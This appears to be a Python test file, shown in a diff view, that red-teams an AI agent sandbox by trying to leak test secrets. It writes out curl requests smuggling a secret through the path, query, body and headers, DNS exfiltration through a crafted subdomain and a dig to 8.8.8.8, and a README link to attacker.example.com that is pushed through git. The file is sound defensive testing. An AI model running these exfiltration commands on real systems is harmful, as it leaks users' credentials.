)
|
||||
self.assertNotEqual(
|
||||
0, r.returncode,
|
||||
f"host-header spoof should have been blocked; "
|
||||
f"stdout={r.stdout!r} stderr={r.stderr!r}",
|
||||
)
|
||||
|
||||
# ---- attack 3: HTTP exfil shapes ---------------------------------
|
||||
|
||||
# Sandbox-block signature: pipelock / egress return HTTP 403 on
|
||||
# policy reject; the response body carries a recognizable
|
||||
# marker. Egress's reject message starts `"egress: host '...'
|
||||
# is not in the bottle's egress.routes allowlist"`; pipelock's
|
||||
# DLP rejects start `"blocked: "` (e.g.
|
||||
# `"blocked: DLP match: Anthropic API Key (critical)"`,
|
||||
# `"blocked: request body contains secret"`).
|
||||
_SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
|
||||
|
||||
def _assert_sandbox_block(self, label: str, r) -> None:
|
||||
"""A real sandbox block produces an HTTP 403 with a
|
||||
recognizable sandbox sidecar marker in the body. ANY
|
||||
other outcome (200 from upstream, 401/404 from upstream,
|
||||
non-marker 5xx) means the request escaped — the secret
|
||||
reached the network."""
|
||||
body_and_code = (r.stdout or "").strip()
|
||||
# The curl invocation appends `\nHTTP_CODE:%{http_code}` so
|
||||
# we can disambiguate. Split that off.
|
||||
http_code = ""
|
||||
body = body_and_code
|
||||
marker = "HTTP_CODE:"
|
||||
if marker in body_and_code:
|
||||
body, _, http_code = body_and_code.rpartition(marker)
|
||||
http_code = http_code.strip()
|
||||
body = body.rstrip()
|
||||
haystack = (body + " " + (r.stderr or "")).lower()
|
||||
has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
|
||||
self.assertTrue(
|
||||
has_marker and http_code == "403",
|
||||
f"{label}: expected a sandbox-level block (HTTP 403 with "
|
||||
f"egress/pipelock marker), got HTTP {http_code!r}. "
|
||||
f"If the response came from the actual upstream, the "
|
||||
f"secret REACHED the network — that's the leak this "
|
||||
f"test exists to catch. body={body!r} "
|
||||
f"stderr={(r.stderr or '').strip()!r}",
|
||||
)
|
||||
|
||||
def test_3_http_exfil_blocked(self) -> None:
|
||||
"""The agent tries to leak `$TEST_SECRET_ANTHROPIC` to an
|
||||
ALLOWLISTED destination (api.anthropic.com) via four
|
||||
different request shapes. Each must be blocked by a
|
||||
sandbox layer (pipelock DLP / egress filter / etc.) —
|
||||
producing an HTTP 403 with an `egress:` or `pipelock`
|
||||
marker in the response body.
|
||||
|
||||
Anything else means the request reached upstream and the
|
||||
secret leaked, even if the upstream responded with its
|
||||
own 4xx for unrelated reasons (e.g. 401 for missing auth).
|
||||
|
||||
PRD 0022 Q1 resolution: this assertion is AUTHORITATIVE.
|
||||
If a shape fails here, the leak is real and the
|
||||
remediation lands as its own PRD before this test merges.
|
||||
DON'T mark expectedFailure to silence it.
|
||||
|
||||
Destination note: we use `raw.githubusercontent.com` (one
|
||||
of the DEFAULT_ALLOWLIST hosts) rather than
|
||||
api.anthropic.com because pipelock passthrough's the
|
||||
Anthropic API endpoint specifically — its DLP scanners
|
||||
false-positive on real LLM conversation bodies (BIP-39
|
||||
seed phrases, etc.). That trade-off is documented in
|
||||
`pipelock.DEFAULT_TLS_PASSTHROUGH`. For non-passthrough
|
||||
hosts pipelock MITMs and the DLP scan applies, which is
|
||||
what this attack exercises."""
|
||||
# Capture HTTP code via curl's -w; don't use --fail so
|
||||
# we get the response body even on 4xx.
|
||||
url_base = "https://raw.githubusercontent.com"
|
||||
wfmt = '\\nHTTP_CODE:%{http_code}'
|
||||
shapes = [
|
||||
(
|
||||
"path",
|
||||
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
|
||||
f'"{url_base}/v1/$TEST_SECRET_ANTHROPIC"',
|
||||
),
|
||||
(
|
||||
"query",
|
||||
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
|
||||
f'"{url_base}/v1/?leak=$TEST_SECRET_ANTHROPIC"',
|
||||
),
|
||||
(
|
||||
"body",
|
||||
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
|
||||
f'-X POST "{url_base}/v1/messages" '
|
||||
f'-H "Content-Type: application/json" '
|
||||
f'-d "{{\\"secret\\": \\"$TEST_SECRET_ANTHROPIC\\"}}"',
|
||||
),
|
||||
(
|
||||
"header",
|
||||
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
|
||||
f'"{url_base}/v1/" '
|
||||
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
|
||||
),
|
||||
]
|
||||
for name, cmd in shapes:
|
||||
with self.subTest(shape=name):
|
||||
r = self._bottle.exec(cmd)
|
||||
self._assert_sandbox_block(name, r)
|
||||
|
||||
# ---- attack 4: DNS exfil -----------------------------------------
|
||||
|
||||
def test_4_dns_exfil_blocked(self) -> None:
|
||||
"""Two sub-attacks against DNS:
|
||||
4a — crafted subdomain that pipelock would resolve. The
|
||||
hostname `<SECRET>.api.anthropic.com` looks "under"
|
||||
the allowlisted apex but pipelock's allowlist is
|
||||
exact-match — it should reject the host BEFORE
|
||||
issuing the DNS query, so the secret never reaches
|
||||
an external resolver.
|
||||
4b — direct DNS query bypassing pipelock entirely. The
|
||||
agent's internal network has no default gateway;
|
||||
even an explicit resolver like 8.8.8.8 should be
|
||||
unreachable. Confirms the network isolation is
|
||||
intact (PRD 0022 Q2)."""
|
||||
|
||||
with self.subTest(attack="crafted subdomain"):
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
|
||||
)
|
||||
self.assertNotEqual(
|
||||
0, r.returncode,
|
||||
f"crafted-subdomain DNS exfil should have been blocked; "
|
||||
f"stdout={r.stdout!r} stderr={r.stderr!r}",
|
||||
)
|
||||
|
||||
with self.subTest(attack="direct dig"):
|
||||
# `+short +tries=1 +time=3`: no debug output, one attempt,
|
||||
# 3s timeout. Outside the internal network has no path;
|
||||
# dig should fail or return empty.
|
||||
r = self._bottle.exec(
|
||||
'dig +short +tries=1 +time=3 @8.8.8.8 '
|
||||
'"$TEST_SECRET_GENERIC.example.com" '
|
||||
'; echo "EXIT=$?"'
|
||||
)
|
||||
# `dig +short` prints the resolved A record(s). On
|
||||
# success the secret would have escaped the bottle's
|
||||
# internal network to reach 8.8.8.8 — that's a leak.
|
||||
# Acceptable outcomes: timeout, refused, or no answer.
|
||||
self.assertNotIn(
|
||||
"ANSWER SECTION", r.stdout,
|
||||
f"dig got an ANSWER SECTION — the query escaped "
|
||||
f"the internal network; stdout={r.stdout!r}",
|
||||
)
|
||||
# `dig +short` produces empty output on no-answer. We
|
||||
# also assert no IP address appears (rough heuristic:
|
||||
# a successful resolution would produce dotted-quad or
|
||||
# IPv6 output).
|
||||
self.assertNotIn(".0.0.", r.stdout) # naive IP check
|
||||
|
||||
# ---- attack 5: secret in README pushed via git-gate --------------
|
||||
|
||||
def test_5_readme_push_blocked(self) -> None:
|
||||
"""The agent writes a README.md containing a secret-bearing
|
||||
attacker URL, commits, and `git push`es through git-gate.
|
||||
The pre-receive gitleaks hook MUST reject the push, AND it
|
||||
must reject BEFORE git-gate attempts to forward to the
|
||||
(unreachable) upstream — a network-phase error like
|
||||
"could not resolve" would mean gitleaks ran late or didn't
|
||||
run at all.
|
||||
|
||||
Parameterized over three secret shapes (anthropic / AWS /
|
||||
generic) so a renamed gitleaks rule doesn't silently let
|
||||
one shape through (PRD 0022 Q3)."""
|
||||
|
||||
shapes = [
|
||||
("anthropic", "TEST_SECRET_ANTHROPIC"),
|
||||
("aws", "TEST_SECRET_AWS"),
|
||||
("generic", "TEST_SECRET_GENERIC"),
|
||||
]
|
||||
gate_host = f"claude-bottle-git-gate-{self._identity}"
|
||||
|
||||
for name, var in shapes:
|
||||
with self.subTest(secret=name):
|
||||
# Fresh repo per shape so prior commits don't
|
||||
# confuse gitleaks's diff. -rm -rf is best-effort.
|
||||
script = (
|
||||
'set -eu\n'
|
||||
'cd /tmp\n'
|
||||
'rm -rf sandbox-escape-repo\n'
|
||||
'git init sandbox-escape-repo >/dev/null\n'
|
||||
'cd sandbox-escape-repo\n'
|
||||
'git config user.email "test@example.com"\n'
|
||||
'git config user.name "test"\n'
|
||||
f'echo "[click](https://attacker.example.com/?leak=${var})" '
|
||||
'> README.md\n'
|
||||
'git add README.md\n'
|
||||
'git commit -m "leak" >/dev/null\n'
|
||||
'git remote add origin '
|
||||
f'git://{gate_host}/throwaway.git\n'
|
||||
'git push origin HEAD:refs/heads/master 2>&1\n'
|
||||
)
|
||||
r = self._bottle.exec(script)
|
||||
combined = (r.stderr + r.stdout).lower()
|
||||
|
||||
self.assertNotEqual(
|
||||
0, r.returncode,
|
||||
f"{name}-shape README push should have been "
|
||||
f"rejected; stdout={r.stdout!r} stderr={r.stderr!r}",
|
||||
)
|
||||
# Ordering check: gitleaks ran AND it ran BEFORE
|
||||
# git-gate tried to forward upstream. The unreachable
|
||||
# upstream URL would produce network-phase errors if
|
||||
# the push got that far.
|
||||
self.assertIn(
|
||||
"gitleaks", combined,
|
||||
f"{name}-shape rejection didn't mention gitleaks — "
|
||||
f"the pre-receive hook may not have run. "
|
||||
f"stdout={r.stdout!r} stderr={r.stderr!r}",
|
||||
)
|
||||
for upstream_phrase in (
|
||||
"could not resolve",
|
||||
"connection refused",
|
||||
"network is unreachable",
|
||||
"host key verification failed",
|
||||
):
|
||||
self.assertNotIn(
|
||||
upstream_phrase, combined,
|
||||
f"{name}-shape rejection contained "
|
||||
f"{upstream_phrase!r} — gitleaks should have "
|
||||
f"rejected BEFORE git-gate attempted the "
|
||||
f"upstream push. stdout={r.stdout!r} "
|
||||
f"stderr={r.stderr!r}",
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -32,8 +32,15 @@ class TestBuildConfig(unittest.TestCase):
|
||||
{"include_defaults": True, "scan_env": True}, cfg["dlp"]
|
||||
)
|
||||
# Body-scan action is hard-coded "block" in pipelock_build_config.
|
||||
# `scan_headers: True` + `header_mode: "all"` close the
|
||||
# header-shape exfil gap surfaced by PRD 0022 attack 3.
|
||||
self.assertEqual(
|
||||
{"action": "block"}, cfg["request_body_scanning"]
|
||||
{
|
||||
"action": "block",
|
||||
"scan_headers": True,
|
||||
"header_mode": "all",
|
||||
},
|
||||
cfg["request_body_scanning"],
|
||||
)
|
||||
# Baked defaults always present.
|
||||
self.assertIn("api.anthropic.com", cast(list[str], cfg["api_allowlist"]))
|
||||
|
||||
Reference in New Issue
Block a user